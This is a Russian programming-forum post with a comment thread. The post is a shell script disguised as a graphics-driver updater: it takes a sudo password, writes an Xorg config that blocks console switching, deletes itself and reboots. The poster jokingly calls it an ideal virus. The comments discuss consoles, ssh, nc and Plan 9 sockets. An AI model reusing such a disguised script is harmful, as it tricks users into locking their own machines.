- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
#!/bin/sh
echo "Вас приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot
Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить
chtulhu 29.12.2017 08:24 # +7
inkanus-gray 29.12.2017 08:42 # +3
Отличительная особенность вирусов — способность к размножению.
syoma 29.12.2017 08:46 # +3
inkanus-gray 29.12.2017 08:46 # +2
cykablyad 29.12.2017 10:42 # 0
syoma 29.12.2017 11:30 # 0
cykablyad 29.12.2017 12:23 # +4
syoma 30.12.2017 06:35 # +1
cykablyad 30.12.2017 09:59 # +1
syoma 31.12.2017 03:40 # 0
cykablyad 31.12.2017 05:38 # 0
Из недавнего примера: драйвер nvme от Тошибы
syoma 31.12.2017 06:10 # 0
Кстати, некто хвалил DriverPack Solution за то, что им можно ставить дрова на компы, не подсоединенные к инету. А нельзя апдейтить винду с локального сервака?
Soul_re@ver 31.12.2017 09:42 # +2
syoma 31.12.2017 12:21 # 0
SemaReal 21.02.2018 04:29 # 0
У нас админы через всус обновляют кучу виндов чтоб не качать по 150 раз
А еще есть scom шоб централизованно мониторить логи
cykablyad 31.12.2017 18:29 # 0
syoma 01.01.2018 01:36 # 0
bormand 29.12.2017 16:41 # +3
> xorg.conf
Как-будто линух нельзя загрузить без этих ваших иксов...
Soul_re@ver 30.12.2017 11:52 # +1
bormand 30.12.2017 18:39 # 0
SemaReal 21.02.2018 04:31 # 0
А там мумулятор терма
bormand 21.02.2018 07:02 # 0
g0_1494089131830 21.02.2018 13:01 # 0
1024-- 21.02.2018 14:29 # +3
SemaReal 21.02.2018 14:45 # 0
а если там кошерный getty то таки да -- могли и не запустить
SemaReal 21.02.2018 18:41 # 0
там же DontVTSwitch включают
тогда да: не переключишься
bormand 21.02.2018 19:07 # 0
SemaReal 21.02.2018 19:16 # 0
bormand 21.02.2018 19:17 # 0
SemaReal 21.02.2018 19:24 # 0
Правда тут есть найоб: если иксы не испольщуют KMS а сами переключают VT в нужный режим, то им нужно иметь привилегии рута (кажется чтобы подправить IO Permissions у страницы и научиться писать в IO). Так что startx обычный не запустится. У дебина был раньше враппер с suid битом чтобы стартовать иксы от рута всегда.
vistefan 21.02.2018 20:17 # 0
SemaReal 21.02.2018 20:22 # 0
на самом деле надо просто запускать getty на /dev/ttyS0 (это можно сделать по памяти, лол) как делали наши предки. Тогда можно подцепиться на компорт с другого компа или даже с терминала и там будет все работать.
А если туда повесить модем, то можно даже подключиться через телефонную сеть.
У вас в 2018-м что-ли так не умеют?
bormand 21.02.2018 20:23 # 0
Или sshd поднять и зайти с телефона.
serial таки надёжней и раньше стартует.
SemaReal 21.02.2018 20:27 # 0
Вариант про ssh мне нравится. Но если ты убунтодесктопный чел то ты наверняка либо не поставил ssh вообще, либо поставил, но забыл настроить в sshd.conf кому можно туда логица, а править sshd.conf вслепую не очень легко.
bormand 21.02.2018 20:29 # 0
SemaReal 21.02.2018 20:34 # +1
только сразу на 0.0.0.0:23 , ок?)
а хотя у тебя все равно небось NAT
vistefan 21.02.2018 20:52 # 0
Что такое nc?
bormand 21.02.2018 20:53 # +2
SemaReal 21.02.2018 20:55 # +2
умеет быть клиентом и сервером tcp и udp и еще немножко шьет
man nc
syoma 21.02.2018 21:01 # +1
SemaReal 21.02.2018 21:37 # +2
Если бы не насрали, то не нужно было бы никаких сокатов и неткатов.
Ты бы просто писал
Понятное дело что там есть еще 150 опций у TCP и столько же у IP, но они не всегда нужны.
Эту мыслю, емнип, развили в Plan 9 -- мертворожденном потомке Unix.
g0_1494089131830 21.02.2018 21:42 # 0
vistefan 21.02.2018 21:55 # 0
Как в пхп
А посылать пост-запросы и аплоадить файлы можно было бы fwrite.
SemaReal 21.02.2018 22:04 # +1
fopen('[email protected]', 'w');
а срать на двач вот так
fopen('2ch', 'a');
Почему 'a'? потому что 'w' затрет все существующие там комменты
vistefan 21.02.2018 22:22 # +1
> fopen('2ch', 'a');
То есть снести всю предыдущую почту человеку — это нормально, а на дваче ты о комментах заботишься.
g0_1494089131830 21.02.2018 22:28 # 0
SemaReal 21.02.2018 22:28 # 0
ну тогда можно же ее сохранить временно на дропбоксе
syoma 21.02.2018 22:51 # 0
roman-kashitsyn 21.02.2018 23:43 # 0
В юниксе не всё умеет в seek/tell. Есть блочные и потоковые устройства. Устройство мыши — это тоже файл, seek на нём, по понятным причинам, не сделаешь.
Сокеты в юниксе — это тоже "файлы", на них работают read() и write().
syoma 21.02.2018 23:57 # 0
g0_1494089131830 21.02.2018 23:58 # 0
Что, хуец мой понравился?
CHayT 21.02.2018 23:02 # 0
SemaReal 21.02.2018 23:03 # 0
http://govnokod.ru/23624#comment401364
Я про план9 только читал, знаю что там была заинька с зубами как у суслика го
зы: Снаут, почему все элегантные, красивые и правильные решения никогда не взлетают, а наколенное говно, подпертое костылями, становится промышленным стандартом?
CHayT 21.02.2018 23:30 # 0
Элегантные и красивые решения часто тормозят и/или не переживают ошибки. А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
syoma 21.02.2018 23:35 # 0
Элегантные как раз можно, а вот костыли типа манки патчинга как раз конкурренцию не любят.
g0_1494089131830 21.02.2018 23:39 # 0
SemaReal 21.02.2018 23:42 # 0
это ты о своих "PHP" буднях?
g0_1494089131830 21.02.2018 23:48 # 0
roman-kashitsyn 21.02.2018 23:44 # +1
> $ cat /dev/new_sockets/tcp/yandex.ru/80
Напиши себе плагин для fuse, и не такое сможешь.
SemaReal 21.02.2018 23:46 # 0
roman-kashitsyn 21.02.2018 23:54 # 0
https://9fans.github.io/plan9port/man/man3/dial.html
syoma 21.02.2018 23:56 # 0
g0_1494089131830 21.02.2018 23:56 # 0
SemaReal 22.02.2018 00:10 # 0
С козырей зашел;)
открыл файл
/dev/tcp/listen/80 и читаешь. Заблокировался на чтении -- вот и accept. Когда что-то считалось оттуда -- значит пришел клиент.
А считался оттуда дескриптор нового файла;)
g0_1494089131830 22.02.2018 00:11 # 0
roman-kashitsyn 22.02.2018 00:37 # 0
Кстати, в юниксе такая фича есть. Можно пересылать файловые дескрипторы через юниксовые сокеты.
SemaReal 22.02.2018 00:39 # 0
А в виндовых named pipes (близжайщий аналог unix domain sockets) нельзя дескрипторы пересылать емнип
g0_1494089131830 22.02.2018 15:22 # 0
vistefan 21.02.2018 20:35 # 0
живая usb-палка + mount
bormand 21.02.2018 20:36 # 0
SemaReal 21.02.2018 20:36 # 0
Или вообще почитать про него и узнать про опцию отключения
vistefan 21.02.2018 20:28 # 0
Заминусуйте тот мой бред.
bormand 29.12.2017 16:51 # 0
Soul_re@ver 30.12.2017 22:58 # +1
Что-то вспомнилось, гораздо более успешный вариант:
https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6#diff-1